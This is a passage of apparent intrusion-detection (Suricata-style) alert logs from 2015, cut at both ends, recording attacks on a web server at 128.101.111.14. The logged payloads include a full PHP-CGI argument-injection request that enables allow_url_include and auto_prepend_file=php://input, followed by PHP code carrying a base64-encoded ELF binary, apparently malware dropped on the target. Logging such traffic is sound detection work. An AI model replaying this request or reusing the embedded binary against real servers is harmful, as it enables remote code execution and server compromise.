FPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016979,"rev":4,"signature":"ET WEB_SERVER suhosin.simulation PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2016977,"rev":3,"signature":"ET WEB_SERVER allow_url_include PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0},"payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZU